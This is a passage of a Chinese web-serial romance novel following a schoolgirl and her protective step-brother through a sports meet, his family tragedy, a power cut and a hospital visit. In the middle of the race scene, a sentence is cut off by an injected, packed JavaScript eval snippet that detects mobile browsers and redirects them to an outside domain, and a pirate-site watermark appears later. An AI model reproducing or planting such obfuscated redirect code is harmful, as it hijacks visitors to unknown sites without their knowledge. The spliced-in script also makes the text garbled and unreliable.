“我会礼貌的!”闻磊连忙保证,以后这样就结束了,又听那“怪兽”道:“这么大了还要你姐姐帮你洗澡,男女有别不知道?真要是不会洗,要我帮么?” 少年勾着唇问他,像是在笑,眼底却一点笑意都无,露出的牙在闻家磊看来都是白森森的。 妈呀,更可怕了呜呜呜。 闻磊把头摇得更快:“我自己会洗的,我现在就去洗!” 林杳看着他说完就撒开脚丫往二楼跑的样子,不由感慨:“他真的好怕你啊。” “他爸妈从小惯着他,只有我结结实实打过他几顿。” 闻野低头看她,眼里这次带上了几分真切的笑意:“还有个原因就是我长得还挺凶的,你第一次见我不也退避三舍?” 林杳想起自己第一次和他在巷子里迎面碰上的场景,没法反驳。 他个子那么高,眉眼生得又野,轮廓冷硬,绷着脸,哪怕什么表情都不做,都显得冷漠,让人下意识不敢接近。 “我当时是有一点。”她诚实道:“但我现在不怕了,“我知道你人很好。” 少女大眼睛弯了弯,笑靥明媚,闻野看着她,心里头像被汨汨溪流淌过,还是那种晒足了春日暖阳,带着温度的那种。 走到楼上的房门口,林杳对他道:“那我去写作业了。” “你成绩应该挺好的吧?” 就要进去时,她听到闻野突然这么一问。 林杳转回头,谦虚道:“还行。” “能考个好大学吗?”他继续追问。 林杳想了想道:“985应该没问题,但如果要考那两所最好的,可能就有点困难了。” 闻野听完笑了下:“那就好。” 林杳有点没明白,他却不多解释:“快进去学习吧,但也别学太晚,早点睡。” 考个好大学,离开这里,依然会有很好的人生。 而他,会在之后这一两年给她当好这个哥哥。 - 气温一天天地往下降,林杳上学路上途径的桂花树也渐渐凋零,香气越来越淡,到十月底直至于无,三中也迎来了期中考试。 哪怕学校差,到底还都是学生,受“分分分学生的命根”这句话影响了十多年,除了极个别完全放弃自己的,大家都为着这场考试忙得上蹿下跳。 林杳各科的笔记成了抢手货,被这个借过去又被那个借过来,她性格好又耐心,下课时几乎总有人找她问题。 她没上学期期末的成绩,按规矩这次考试该分在最后一个考场,但班主任怕她被那群坏学生影响了,和教导主任商量之后把她的座位安排在第一考场最后一个。 周四周五两天考完六门,星期一就能出成绩了。 大家都认为年级第一肯定是才转来的林杳,她也的确不负众望,满分750,她考了667,英语又一次是满分。 看到这成绩,不止1班的班主任高兴,连教导主任,校长的嘴角都连着几天满面红光。 期中考试之后有场秋季运动会,早自习上,班主任把一张报名表交给体委,然后把林杳叫到了教室外的走廊。 “运动会入场仪式每个班都需要一名同学举班牌,咱们班就交给你成不?”班主任笑得跟弥勒佛似的,问她。 以往举牌的都是同学们之间推选的,但这次他们班考出了667的高分啊!这不得让全校都知道一下是谁,况且小姑娘模样长得也周正,正适合举班牌呢。 林杳从小是很听老师话的那类乖学生:“好的,老师。” 她进班回到座位,谢安琪立刻好奇问:“老班找你出去说什么啊?” “让我这次运动会举班牌。”她小声说了。 谢安琪听到跟着高兴激动,以前她们班次次都是薛佳莹举班牌的,不过她觉得林杳更合适,那么漂亮,成绩又好,简直是她们一班之光! 林杳其实并不觉得举个班牌是什么很了不得的事,她比较奇怪的是为什么运动会不在本校举行,而是在附近那所F大学。 谢安琪颇嫌弃道:“就我们学校这么小的地方哪开展得起来啊,所以每年像运动会或者晚会啊,都是租的那所大学。” 运动会定在了周五和周六,那所F大离三中不远,走路过去一站多路,学校要求先在本校集合,再由各班班主任领着走过去。 学校虽要求穿校服,但大家平时上课都不愿意穿,在这种活动中就更想彰显个性了,尤其是各班举班牌的女生,都化了妆,打扮得漂漂亮亮的。 对青春期的很多人来说,举班牌实际上也相当于是暗搓搓的比美。 林杳倒是和平常一样,扎马尾,素面朝天,也乖乖穿着校服,但没人觉得她土或者不好看什么的,1班的男生们站在她举着的班牌后,十分与有荣焉,都纷纷骄傲地挺起胸膛。 他们班完胜! 校长,副校长,教导主任轮流发表一长串讲话,运动会总算在激昂的音乐声中开始了,大家四处乱窜,给本班参加项目的同学加油,也有的去看自己感兴趣的项目。 林杳陪着谢安琪参加完跳远的项目,听到喇叭声:“即将开始男子三千米长跑,请各班参赛选手尽快到田径赛场集合。” “杳杳,我们去看这个吧!”谢安琪提议。 林杳正有此意,她听说闻野也参加了这个项目:“好啊,但我想先去自助售卖机那儿买瓶水。” 等她买完气喘吁吁地赶回去,刚好赶上发令枪响,那一圈白烟还没散去,红色跑道上的一排男生已经跑出几十米了,操场边一圈人围观,算是最热闹的项目。 林杳看之前就觉得闻野身体素质应该挺好的,结果他比她以为的还要厉害。 十多度的天气,闻野上场前就把外套脱了,就穿着一件白色短袖,迎面吹来的冷风把他衣服吹得鼓起,身形线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830200|158933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条流畅笔直,手臂肌肉蓬勃有力。 从起跑开始少年就跑在第一,越到后面把第二名的距离甩得越远,后面直接毫无悬念地冲破终点的红带。 林杳握着瓶运动饮料正要去找他,好几个高三年级,打扮得精致的女生就已经凑到了闻野跟前,争先恐后地把各自手里拿的水朝他递去。 女生们眼光热切地看着闻野。 少年眉骨,脖子,还有敞开领口的锁骨处都挂着汗水,既有少年的桀骜不羁又显出几分男人的野性,简直荷尔蒙爆棚,蛊得不行。 闻野从这几人的间隙中看到瞥见不远处一道熟悉身影,她也正看着他,纤白手指间还握着一瓶满满的,未打开的运动饮料。 他心思一动,语气毫无波澜地扔下句“不用”就绕开那几个女生,径直朝林杳走去。 林杳没想到他这么受欢迎,还以为这水白买了,结果看着他走了过来,正好,她把手里的水递给他。 “谢谢。”闻野勾了勾唇接过,拧开瓶盖仰头就灌,突出锋利的喉结很明显地上下滑动。 “那你好好休息吧,我去给我们班写广播稿了。”她拉起还在一旁站着的谢珊琪,朝1班的座位区走去。 上午的运动会开到12点结束,谢珊琪家就在F大附近,她中午回家吃午饭,林杳一个人去找食堂。 这个点大学也下课了,一路上好多拎着饭回宿舍的大学生都看到了她。 少女穿着蓝白色的校服,规矩扎着个马尾,十分青春朝气,当然最关键的还是她那张脸,漂亮又乖,走在落满银杏的小路上,那画面跟拍什么电影似的。 就有个男生就忍不住上来搭讪。 “我之前也是三中的,算起来你还是我学妹呢,你是学文还是学理啊?” “学理的。”林杳礼貌道。 男生眼睛放光:“那真是太巧了,我高中也是理科生,不然我们交换个联系方式,你学习上有问题可以来问我,以后周末我也能辅导你。” 林杳刚要摇头拒绝,身侧一道凉飕飕,轻蔑嘲讽的声音响起:“想辅导她,你有这个资格么?” 她转头,就见闻野大剌剌地走了过来,他站到了她身旁,眼皮耷拉着睨向那男生,笑了声:“她期中考了667分,英语还是满分,你高考有这么高么?” F大就是所普通二本,录取分数线一直是500出头,男生别说高考,整整高中三年都没考过这么高的分数。 他脸色涨红,却压根没有信闻野这番话,真要能考600多,那还待在三中那个破烂高中?! 只是少年看着就是难惹的,他不服也只有憋着,不敢去和他争什么,自己灰溜溜地离开了。 林杳眼眸露出惊讶:“你怎么知道我期中的分数啊?” 还记得那么清楚。 三中的期中成绩大榜并不是贴在一起的,各个年级的大榜贴在各年级所在的楼层,高二的贴在三四楼,而闻野在五楼。 他是上课时从教室出去,特意下去看的。 “你分考得那么好,学校都传遍了,我也就听说了呗。” 见她没怀疑,闻野又问:“你中午一个人啊,去哪儿吃?” “嗯,我一个人,准备去食堂的,可是我找了半天都没找到地方。” 他看着她看着更尖瘦的下巴,也是服了赵美莺的眼瞎和偏心,女儿瘦成这样视而不见,儿子都胖成个球了还大鱼大肉地都往他碗里塞。 “食堂多难吃啊。”他扬了扬眉:“走,带你出去吃好吃的。” 12、第十二章 闻野带她去的是f大附近的一条街。 和三中后面那条美食街差不多,放眼过去一家家店都是卖吃的,但因为这边消费主要人群是大学生,所以餐馆的价格也要高一些。 林杳跟着他走到一家自助烤肉门口,还没进去就诱人的香气就扑面而来,玻璃门上贴着价格:99一位。 她拉开书包拉链,刚拿出钱包,闻野就先一步掏出两张红票子递给迎宾的服务员。 服务员将他们领进去,林杳和闻野面对面地,在一个靠窗的桌子坐下,她将自己刚才没给出去的一百朝他递去:“不用你请的,我有钱。” 她还有从小到大的压岁钱,算小有一笔积蓄。 闻野挑了挑眉:“是我主动说带你来吃好吃的,肯定是我请啊,哥哥请妹妹吃顿饭不行么?还是在你眼里,我抠死了?” “我不是这个意思。”林杳连忙否认。 “你那钱留着买文具买书都行。”他站起身:“等着,我去拿肉来烤。” 他来回几趟,很快两人桌旁就摞起一叠叠装着五花和肥牛的餐盘,闻野重新落座,一手拿大夹子,一手剪刀,将肉剪成小块地放烤盘上。 林杳也拿起一双筷子,想帮忙把烤盘上的肉摆平整,手刚伸过去,就被对面的少年制止了。 “你别弄,免得热油溅到你手上。”他说着,就用手里的大夹子把烤盘上的肉又摆了摆。 肉加热后开始滋滋冒油,有滴溅到了他手背,他却是眉毛也没动一下,这点疼对他来说不算什么,而她那手看着就白嫩嫩的。 林杳觉得这样不好,她总不能光坐着等现成的啊。 见到小姑娘不好意思的模样,闻野给她分了任务:“我忘了拿水了,你去拿两瓶,我要可乐。等吃完了,你再去拿点水果,我们就这样分工。” 街边,彭一凡和路宇安从这儿经过,正讨论着吃什么,前者眼尖地瞄到一窗之隔的烤肉店里,闻野的身影。 彭一凡不解:“刚咱俩上厕所的时候,野哥不是发短信说中午有事,怎么这会儿来吃烤肉了。” “可能事情处理完了。”路宇安没有任何怀疑:“咱们进去陪野哥,一个人吃也太孤单了,上个厕所东西都有可能被店员收走。” 两人勾肩搭背地进去,走到闻野那桌:“野哥你怎么一个人来吃烤肉了,也不怕孤……” 最后那个字还卡在嗓子眼里没说出来,就看见一身校服的少女走了过来,拿着两瓶饮料,还把那瓶可乐放到了闻野手边。 林杳歪头疑惑地看着他们俩。 他们也疑惑地看着她,原来野哥不是一个人,而是和他那便宜妹妹啊。 可不是说关系不好,还挺讨厌她的嘛!两人的进度条什么时候发展到能一桌吃烤肉了啊?? 林杳想起来,之前有天在家附近的早餐店看见他们俩和闻野一起,主动对他们笑了下。 少女眼弯弯的似月牙,雪白颊边还浅浅印出两个梨涡,彭一凡和路宇安看得失了失神,心头一阵荡漾,这笑起来也太甜了嗷! 两人理所当然地要加入一块吃,本来闻野和林杳坐的是四人桌,彭一凡屁股刚要挨着林杳坐下,一直没说话的闻野出了声。 “等下。” 彭一凡:“诶?” 闻野起身,走到他跟前:“让让。” 彭一凡十分懵逼,但还是照做,然后闻野就直接过去,坐到了他还没来得及坐下的位置。 少年长腿懒洋洋地交叠,给出理由:“她和你不熟,坐一起怕她不自在,吃不下东西。” 彭一凡:“……” 他于是只能再走到对面,和路宇安挨着坐,他们俩本来性格就外放,一见到漂亮小姑娘更是自来熟,完全释放话痨属性。 “妹妹你之前是哪个学校的啊?”彭一凡笑嘻嘻地问道。 “外国语的。”林杳礼貌答道。 彭一凡和路宇安作为两个不学无术的学渣,也都知道这所高中牛逼,出过好几届状元,每年高考完考上985,211的红榜名单老长的一溜了。 路宇安:“妹妹你……” 话没说完,拿夹子翻着烤肉的闻野似终于忍无可忍般,撩起眼皮看了他们俩一眼,语气似透着股不爽:“我怎么不记得你们俩什么时候也多了个妹妹。” 路宇安:“……” 彭一凡:“……” 第一波的肉都烤好了,两面呈现出微微焦黄的颜色,彭一凡和路宇安伸筷子一人夹了一块,剩下的差不多都被闻野夹进了林杳的碗里。 “不用这么多的。”林杳摆手,看着自己堆成小山的一碗有点不好意思道。 闻野不为所动,剩下的几个年糕也放到她碗里:“先夹你碗里放着,你慢慢吃,他们俩跟恶狼似的,你抢不过他们。” 彭一凡和路宇安越看越感觉魔幻,神色恍惚地一块儿离开座位去拿饮料了。 离他们那桌远了点,彭一凡憋不住嘀咕:“我怎么觉得野哥对林杳有点太好了吧?” 彭一凡自己还有个有血缘关系的表妹呢,对她都没野哥对这个便宜妹妹这么无微不至的。 路宇安也觉得很不寻常,一路沉思着到了饮料区,拿了瓶芬达,忽然福至心灵:“会不会是因为突然刚有了妹妹,就很有新鲜感,就像得到新游戏机那种,一开始肯定都爱不释手,稀罕得不行啊。” 彭一凡被他的理论说服了。 两人都这么想着,之后吃的时候再看到闻野帮林杳烤肉,甚至是剥虾都不觉得奇怪了。 等野哥这新鲜劲过了就正常了。 吃完烤肉,三人出了店,走到分岔路,闻野和林杳说下午自己不去运动会了,他回纹身店,给之前约的客人做满背。 林杳和他说了再见,便和彭一凡,路宇安一块儿往f大走。 他俩一左一右走她旁边,跟左右护法似的,对她很感兴趣地问七问八,林杳都一一答了。 她也好奇问:“闻野以前是学过画画吗?” 她之前去他那个纹身店,看见画架上一张纹身线稿,看着就很复杂,普通人根本没法画出来。 “是啊,野哥从小就学,还超厉害的,以前参加市里绘画比赛,直接拿下一等奖。”彭一凡骄傲说着,又不免再次生出惋惜的情绪来:“野哥以前成绩也好,本来考个重点高中那是分分钟的事,要不是中考时那天……” 彭一凡心直口快,差点劈里啪啦一股脑都说出来,脑子终于反应过来,连忙刹住车。 林杳关心问道:“他中考那天发生了什么吗?” “呃,这个……”彭一凡犹犹豫豫,在说与不说之间徘徊不绝。 这毕竟是野哥的私事,他不好大嘴巴的,可少女恳切又柔软的眼神他也实在顶不住啊,就很为难的啊。 彭一凡只能求助地看向路宇安,林杳也转过头,那双杏眸乌黑纯净一眨不眨地看着他。 路宇安:“……” 这美人计他也有点遭不住啊。 他想想中午吃饭时野哥对她的态度,应该也算是自己人了,况且这事其实也不算秘密,住他们那片的基本都知道。 “唉,这事其实说来话长。”路宇安叹着气道,“野哥他爸他妈,原先都是我们这儿汽车厂的职工,不过和大部分顶着父母那辈岗位进来的不同,他们都是有文化的大学生,分配进厂里的。” 关于闻野父母的事,之前林杳从赵美莺那儿听到过一点,这次从他俩个朋友这儿,她知道得更详细了。 闻野十岁那年,有两个出国培训的名额,厂里给了他父母。他妈考虑到他还小,选择留在家照顾他。 他妈妈放弃的那个名额,落到了厂里另一个离异的女职工身上,她和闻野的爸爸一起出国。三年后,本该回来的闻野爸爸只打来一通长途电话。 长时间背井离乡,他和那个女职工处出了感情,要和他妈妈离婚。 闻野的妈妈受不了这个打击崩溃了,厂里给她办了病退,她天天在家,以泪洗面,并经常把怨气都撒在闻野身上,认为一切都是他害的。 闻野中考第二天上午,考完数学回家,推开门看到是从浴室蔓延出来的血水,他妈割腕自杀了。 - 下午的运动会林杳和谢安琪都没有报项目,两人四处溜达一会儿,去买了袋果冻,找了个台阶坐着吃。 运动场上的各项运动还在如火如荼地举行着,一网之隔的篮球场外,是已经下了课的大学生,三五结伴,说说笑笑地走着,还有一群滑板社的男生女生很酷地踩着滑板溜过去。 谢安琪边撕开果冻上的一层塑封,羡慕道:“老师整天说上了大学就轻松了,看来真的是这样,我也好想像他们一样快点上大学啊。” 她吃着果冻道:“按我这成绩,以后也能考个f大就心满意足了。杳杳你成绩那么好,你以后是考平城的大学,还是考去外省啊?” 林杳笑着摇了摇头:“我还没想过这个问题。” 高中生谈到大学都是充满憧憬和向往的,林杳也不例外,可现在这份憧憬之中,突然多出几分怅然。 高考离她还挺远的,可是闻野,还有半年多就要参加高考了。 她想起彭一凡跟她说的,那天中考,闻野最后一门直接缺考。但就算在这门记作零分的情况下,他总分还是过了普高线,但也只能上很差的三中了。 可按照他原本的成绩,要是在高中继续保持下去,之后上国内最好的两所大学都是有可能的。 后来他爸回来参加葬礼,想带他走,他没肯,跟他爸直接断绝父子关系,他爸给的生活费也一分钱都不要。 可他那时也只有十六岁,身无分文,连打零工很多地方都不会要,最后还是因为学过画画,有绘画功底,找到个纹身店兼职,帮忙临摹构图。 慢慢他也学会了纹身,还租了小店自己开着,但一个人的时间就那么多,顾了这一头就顾不了那一头,他成绩因此一落千丈,人生的轨迹就此偏离到另一条路上。 运动会开到五点钟就结束了,林杳回家,吃完饭又洗了碗才回房写卷子。 七点多钟时,亮着的台灯突然一熄,楼下同时传来闻家磊欢快的声音:“呜呼停电啦,我不用写算术题啦!” 因为没灯,林杳也写不了作业,只能用手机插着耳机听英语听力音频,又过了半个多小时,电还没来。 闻天明出去打牌了,赵美莺被闻磊吵得没法,带他去了附近的公园玩,闻野也还没回来。 家里只剩林杳,到处都是黑咕隆咚的,关键是她手机的电量也岌岌可危。 正想着赶紧用剩余一点电量照着去洗漱时,手机屏幕亮了起来,闪烁着闻野的名字。 两人互换了号码之后,这还是他第一次给她打,林杳以为有什么要紧的事,赶紧接了。 闻野下午回店后就一直给一个客人扎背,图案是参照山海经里的烛龙设计出来的,线条十分复杂,连绘图带割线加起来十一二个小时。 他忙到现在,才放下手里的纹身枪,去外边街上随便买了碗炒饭吃。 随便刷了下手机,他看到彭一凡发的说说,说是家里停电了,本来直接快速划过,又倏地想到什么,拇指一顿,下一秒点进通讯录里。 “家里停电了吧?” 听到他这么,林杳愣一愣,有点惊讶他也知道的:“是停电了。” “这一片都是二三十年前的老房子,线路老化了,停电是家长便饭的事,修好估计得等明天了。”闻野对此有经验:“我房间写字台的第一个抽屉,放着手电筒,电应该是满的,你拿着用吧。” “可你不在,我进你房间还翻你抽屉不太好吧。”她很有家教,犹豫着道。 闻野想了下,之前彭一凡怕爸妈搜到放他这儿的那些乱七八糟的杂志碟片他都让他打包清走了。 “没事,”他无所谓道:“我房里没什么见不得人的东西。” “那好,谢谢啦。”林杳语气感激又庆幸:“要不然家里就只有我一个人,又那么黑,我还真有点怕。” 闻野皱了皱眉:“其他人呢。” 林杳说了,闻野听完,不假思索地张嘴道:“我马上就……” 话刚开头,电话那边的小姑娘“欸”了声:“我听到开门声了。” 又过了几秒道:“是妈妈带着弟弟回来了,你刚才要说什么呀?” “没什么。” “哦对了。”林杳想起来道:“今天上午你三千米第一名的奖状我替你拿回来了,还有奖品,是一沓本子。” “我要本子也没用,你拿着打草稿用吧。” 要不是班主任几次三番让他报名,他压根都不会参加。 闻野挂断电话,坐小板凳上扒饭的客人抬起头,八卦兮兮地看向他:“谁啊?女朋友吧?” “不是。”闻野嘴角绷直:“家里妹妹。” “骗鬼呢。”客人完全不信,也是熟客了,信誓旦旦道:“你说你给我割线的六个多小时有笑哪怕一下吗,刚才打电话就一直笑,声音不知温柔了多少。” 他挤眉弄眼:“就算是妹妹,也是情妹妹那种吧?” “我说了,只是妹妹。”闻野眉眼冷然,语气不容置喙,告诉他,也是提醒自己。 - 林杳用手机还剩百分之三的电量照着,走到闻野房间,她拉开写字台第一个抽屉,手电筒就放在里面。 她拿起,推开开关,一束白光照射出来,对着拉开的抽屉,林杳看见摆在里面的一个相框。 手电筒的电是满的,照出的光就很亮,因此林杳也看得一清二楚,相框里的照片是撕碎之后又重新拿胶又粘住的,右边还少了一个小小的角。 照片里是女人和一个小少年,在学校的颁奖仪式上,女人脸上挂着温柔的浅笑,小少年十二岁左右,两人共同举着一张奖状。 林杳认出照片里的小少年是闻野。 五官变化不大,可给人的感觉却是很不一样。照片里的小少年一身齐整干净的夏季校服,站得笔直如松。 狭长的眼尾向上扬着,漆黑的眸底没有一点阴翳,反倒是像聚着光,透出优秀者的张扬和几分傲气,像盛夏热烈的阳光。 这是闻野以前的样子,在家里的一切变故没法生前。 林杳心脏有种沉甸甸,说不出的难受感觉,她嘴角抿了抿,将那张奖状放进抽屉里,那个相框上面。魔.蝎.小.说.m.o.x.i.e.x.s..c.o.m &m.o.x.i.exs& 13、第十三章 三中的日子挑得好,运动会这两天晴朗无云,之后的十多天一直阴雨连绵,气温也是一降再降,到夜里最低温只有几度了。 林杳挺怕冷的,家里没有地暖,洗完澡之后尤其冷,她用毛巾把湿头发包裹起来,小跑回房间后又赶紧钻回被窝。 冻得瑟瑟发抖的身体在裹紧的被子里捂了好一会儿,体温才恢复正常。 她才把吹风机插头插上,热风呼呼声还没响一会儿,外面响起赵美莺的抱怨声:“你怎么又这么晚回来,还喝是这么多酒,唉唉你要吐去厕所吐,别吐地上啊!” 没敲一下门,林杳房间的门直接被推开了,赵美莺一脸生气地站门口,吩咐她道:“你快去把走廊的地拖一下,我还要给你闻叔叔弄醒酒汤。” “好。”她乖乖应下,“我把头发吹干了就去。” “现在就去,那味道我闻着也想吐了,万一闻野等下回来,看到了他肯定要发脾气。”赵美莺不容拒绝地催促道:“你动作快着点。” 林杳只能先顶着湿漉漉的头发去厕所拿拖把拖地,来来回回冲洗了几次,才收拾干净。 再回房吹头发时,她就开始打喷嚏了。第二天闹钟响的时候她鼻子有点堵,头也昏沉沉的,又闭上眼躺了会儿才撑着精神从床上爬起来。 身体不舒服,她收拾起来也慢,比平时晚了二十分钟。 平时她早出门会碰见闻野,今天晚了,碰到他也才从他房间出来。 闻野一眼就看出她的不对劲,小姑娘整个人就是没精打采的,眼睛覆着层水雾,湿漉漉的。 他眉皱了起来,走出家门,便立刻问道:“昨晚没睡好,还是生病了?” “应该是生病了。”林杳鼻子堵着,瓮声瓮气道。 天亮得越来越晚,这会儿四周还是暗黑一片,远处已然亮起的路灯照过来微薄的光亮。 气温也低,她说话都呵出白茫茫一团气:“昨晚洗完澡后可能是吹了风,早上起来就有点不舒服。” 闻野眉拧得更深:“体温量了没,多少度?药吃了没有?” 林杳摇头,嗓音带着浓浓鼻音:“我没有药,也没体温计,我打算到学校了再到医务室去开点药。” 闻野嗤了声:“三中这小破学校,连开运动会都没地方要去大学借,哪会有医务室。” 林杳倒是没想到这点,正要问他那附近哪儿有药店,他胳膊朝她伸了过来。 她额头上贴上他的手。 力度轻,却贴得紧,他掌心温热干燥,连指骨上薄茧微微粗粝的触感,都感觉一清二楚。 林杳有点不习惯,长睫轻扇了两下。 闻野神色专注,全部注意集中在手心,摸到的温度烫得厉害,神色凛了凛。 “还发烧了。”他将手从她额头拿开:“先去吃早餐,等吃完我带你去医院。” 林杳不想麻烦他,就发个烧,多吃点药就能好,而且她也不喜欢去医院,又要挂号又排队,几层楼到处跑。 她张了张嘴,刚想拒绝他的好意,就见少年眉骨扬了扬:“这个季节感冒一不小心就发展成流感了,你是想得了流感,再传染给我?” “……” 两人去街边的那家早餐店吃完,林杳回家去拿看病要用的身份证,半路碰到送闻磊上学的赵美莺,她问了句怎么了。 林杳如实道:“我有点发烧,回家拿身份证,等会儿去医院看看。” 赵美莺不赞成的目光看向她:“发烧又不是什么了不得的大病,还用特意去医院看啊。就在家吃几片药,多盖几床被子捂出些汗就好了啊。一到医院就各种检查开药,大几百一下就没了,多浪费钱。” 林杳一言不发地听着,心里期待她能有所关心的愿望落空,眼睫越垂越低。 或许人在身体不舒服时,心理也会变得脆弱,平时委屈的事更会觉得委屈难受。 一股酸涩在她眼里蔓延。 眼泪就快要没出息地掉下来之前,身后冷不防响起少年一声讥诮的轻笑:“说得挺对的。” 闻野往前一步,走到她前面,隔绝了她和赵美莺。 她只能看到他高大挺拔的脊背,像山峰一样,给人一种稳重又踏实的感觉。 闻野居高临下地俯视着女人,嘴角挂着冷漠的笑:“去医院浪费钱,所以你儿子以后生病了你也千万别带他去看,就让他在家直接烧成傻子好了。” “还有他成绩,一年级就几门不及格,我看也不适合读书,你也别送去学校了,干脆让他天天在家玩好了,你省钱他也开心不是?” 赵美莺被呛得一句话说不出,偏闻磊听不出好赖话,一听说能不上学,高兴得手舞足蹈:“好好好,我不上学了。” 赵美莺气不打一处来,恨不得一巴掌拍他脑瓜上,但到底没舍得。 “闭嘴,现在就给我去上学!你给我在学校好好学习,再考不及格我让你好看!” 赵美莺拽着闻磊快步走了。 闻野转身,表情还是不爽的,但声音放柔了许多:“她说的这些话别往心里去,就当她在放屁。” 一说完瞧见小姑娘那双清凌凌的大眼睛,他轻咳了声,重新换了个更文明的说法:“就当她在瞎扯。” 林杳眼角弯了弯,眼里的酸涩消失无踪。 她拿了身份证,跟着闻野打车到最近的一家医院,路上她拿手机给班主任打电话请假。 “你给班主任请假了吗?”挂断后,她转头看向身旁的少年,提醒道。 闻野无所谓道:“我翘课又不是新鲜事,班主任应该早习惯了。” 林杳目光暗淡了几分,她想起停电那天晚上,在他抽屉里看到的那张他举着奖状的照片。 闻野见她这样,以为她是觉得自己不学无术,他端正了态度,改口道:“还是请个吧。” 说完拿出手机,编辑了条短信给他们老班发过去。 流感季,医院人头攒动,大多都是抱着孩子的家长,吵闹声里夹杂着小孩子的哭声。 林杳看到各个窗口和到处挤满的人,头就有点晕乎了。 她还从没独自来过医院,从前生病,都是父母陪着她,她对到医院看病的流程其实不太熟悉。 她正打算趁着这个机会,自己搞清楚时,闻野手朝她伸来:“你的身份证给我。” 等林杳从背着的小包里翻出来给他,闻野环视了一圈,手给她指了指:“那边有个空位置,你先去坐着等会儿,我给你挂号去。” 林杳坐下后,看见他先朝着挂号的窗口走去,前面十多人,他排在后面,好半天后才轮到他。缴完费,他手里拿着单据,却没回来,而是朝着另一边的自主贩卖机跑去。 她也起身,直接走过去。闻野正好弯身,从贩卖机底下取出刚买的东西,一盒一次性的口罩。 “来之前也没想到医院现在病人这么多。”他边说着,一边撕开袋子,拿出片口罩给她:“你戴好,生病抵抗力弱,免得被其他病毒传染了。” “噢谢谢。”林杳觉得他想得真周到,乖乖接过,戴上口罩。 闻野拉开她书包拉链,把剩下那盒放去装着:“我挂了呼吸内科,在三楼。” 说完长腿往前走,就要领着她过去。 “诶等一下。”林杳喊住了他,露在口罩外的眼睛奇怪地眨了眨:“你不戴口罩吗?” 明明总担心她生病了会传染给他,来医院这种病毒聚集地反而忘记了。 闻野身体素质好,不容易被传染,他也不爱戴这玩意儿,嫌闷得慌。但她说了,他还是拿出一片,扯着两边的线挂耳朵上。 三楼外科,依然人满为患,又是等了半天,才被叫到号进去。诊断出只是风寒,医生给开了药,让林杳挂两瓶退烧的点滴。 又去缴费,然后他们转移阵地到输液室,护士把两瓶药挂在输液杆上,拿出压脉带绑在她手腕上,注射药剂。 “这药要慢慢滴,不然手容易肿,一定不能擅自调快速度。这一瓶大概要四十多分钟,滴完了一定要及时找我们换药水,不然空气打进去了,后果会很严重。” 护士见他们俩年纪都不大,格外仔细地叮嘱。 闻野点头:“知道了,谢谢。” 他盯着细细的输液管看了会儿,药水速度平缓地往下滴着,没什么问题,于是起身:“我出去一下。” 林杳以为他是去厕所,结果他很半天才回来,坐下后闻野分别从两边裤兜掏出几条糖,拆开一条阿尔卑斯,扔了颗到嘴里。 又转头看向她:“你要吗?” 林杳点了点头。 她左手扎着针,不方便撕开,闻野替她撕开,没有直接喂她嘴里,只是很有分寸的,将一颗撕开一半的糖,举到她面前。 林杳拿起那颗牛奶糖,塞进嘴巴,甜味压过嘴巴里针剂带来的苦味。 她见他似嫌热,把身上的羽绒服脱了,目光看向她:“搁你椅子后边放着行吗?” “行呀。”她没犹豫地道。 这一排座椅都是铝合金材质,原本她靠着硬邦邦的,现在放着闻野的羽绒服,就像多了个柔软蓬松的靠枕,舒服了许多。 输液室比医院外的大厅安静许多,暖气也足,很容易催生困意,林杳坚持到第一瓶药水滴完,就有些困了。 闻野低头打着游戏,余光却是时刻注意着身旁的少女,见接连打了两个哈欠,他侧过头去道:“你眯一会儿呗,我在这儿呢,给你看着点滴。” 身侧正好是堵墙,林杳脑袋靠过去,闭眼很快就眯着了。 闻野手机设置了定时,还是不放心,隔几十秒看一眼输液架上的药瓶。 十一点半终于打完了吊针,林杳拿棉签按着手背上的针孔:“麻烦你陪我来医院,我请你吃饭,你想吃什么?” “喝粥吧。”闻野不假思索道。 林杳觉得她请客,就他吃粥好像太没诚意了点,又想着他是不是考虑到她生病,所以才特意选这么清淡的。 她张嘴刚想说什么,扶手另一边的少年黑眸懒懒地看了过来:“最近有点上火,就想吃点清淡的。” “……噢好。” 林杳脸颊微红,收起一点自作多情的心思。 两人走到医院附近的一家粥铺,粥都是现熬的,坐下还要等一会儿,温暖诱人的米香味不断从后厨飘出来。 又有人推开玻璃门进来,从外面裹挟着股冷空气进来,一个男人坐了进来,点了餐就摸出烟,扣动打火机点燃。 旁边的人投去不满鄙夷的眼神,然而到底敢怒不敢言,男人长得一脸凶相,五大三粗的。 小店算是半个密闭空间,烟味很快传到闻野他们边。 闻野自己就抽烟,虽不会没素质地在公共场合抽,但看到了别人抽,基本也不会闲得蛋疼去管,麻烦。 只是他看对坐在他对面的小姑娘不舒服地轻轻皱起了眉。 下一秒,少年站起身,朝男人那桌走去:“把烟掐了。” “你太平洋警察啊,管这么宽?老子就要抽怎么了?!”男人嚣张道。 闻野懒得跟他废话,直接把他指尖夹着的烟夺了过来,扔进桌上的半杯茶水里。 小店内顿时鸦雀无声,所有顾客目光都看了过来,有些下意识屏住呼吸,感觉一场激战一触即发。 并且都觉得这胆大的少年要被这男的暴揍了。 林杳赶紧跑了过来,她一脸紧张担心地捏着手机,随时要打电话报警。 男人果然怒火中烧,一巴掌重重拍桌上:“你个傻逼欠揍吧,老子今天非好好教训你一顿!” 说完,腾的一下就要站起,挥舞着拳头往闻野脸上招呼过去。 然而还没挨到他脸,半空之中,男人的拳头就被闻野接住,他迅速往外一扯,另只手同时往上用力一顶男人的手肘关节。 “咔哒”一声,似是骨节发生错位了,男人疼得嚎叫,完完全全被制服住。 “做个有素质的人,别在公告场合抽烟了。”闻野耷拉着眼皮看他,说的话堪称温和。 只手上的狠劲又加重几分。 “知道没。” 男人疼得脸色惨白,忙不迭应道:“知道知道!” 闻野松了手,手像碰过什么不干净的,那表情还有点嫌弃,他向一旁呆愣愣站着的小姑娘抬了抬下巴,嘴角向上扯了一下:“走,回去坐着啊。” “……噢。” 